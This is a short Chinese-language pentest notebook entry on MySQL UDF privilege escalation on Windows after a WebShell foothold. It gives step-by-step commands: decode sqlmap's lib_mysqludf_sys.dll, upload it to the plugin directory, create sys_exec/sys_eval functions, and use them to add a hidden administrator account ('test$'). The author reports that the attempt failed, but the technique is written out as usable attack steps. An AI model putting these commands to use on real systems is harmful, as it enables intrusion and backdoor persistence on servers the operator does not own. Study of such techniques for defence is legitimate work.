一次渗透测试中已上传WebShell,并且是system权限,但是在蚁剑终端输入命令时都没有回显,经过验证,的确是命令执行失败,原因未知。于是尝试用MySQL的sys_exec()或sys_eval()来执行命令,本文旨在随记这一渗透场景所用到的姿势及手法,最后这一渗透思路是失败告捷的。(涉及到UDF提权的姿势)
我遇到的MySQL版本为5.7.22,因为版本大于5.1,udf.dll文件必须放置在MySQL安装目录的lib\plugin文件夹,没有此文件夹就手动创建。
0x01 解码sqlmap自带的udf.dll
python .\cloak.py -d -i C:\Python27\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
解码完成后会在32/64下生成lib_mysqludf_sys.dll文件(所以要查看数据库版本信息,确定MySQL软件的位数)
## 查看数据库版本
show VARIABLES like '%version%'
0x02 查看MySQL路径并上传lib_mysqludf_sys.dll文件
## 获取MySQL路径
select @@basedir
通过蚁剑上传到指定目录(C:/www/xxx/mysql/lib/plugin)
注意:没有/lib/plugin文件夹则手动创建
0x03 创建sys_exec()或sys_eval()函数执行命令
## 创建sys_exec()函数
create function sys_exec returns string soname "lib_mysqludf_sys.dll";
## 创建sys_eval()函数
create function sys_eval returns string soname "lib_mysqludf_sys.dll";
创建成功后再执行命令,如添加用户
## 添加test隐藏用户
select sys_exec('net user test$ 123456 /add')
## 添加隐藏用户至管理组
select sys_exec('net localgroup administrators test$ /add')
Tips1:执行后虽然返回NULL,但是就不代表命令执行失败,还要远程连接来判断一下。
Tips2:使用sys_eval()函数只需要将sys_exec替换即可,思路一样。
最后是远程连接失败的,证明命令执行失败,但不代表此攻击姿势不对,失败的原因有很多,随记文章,不作具体描述。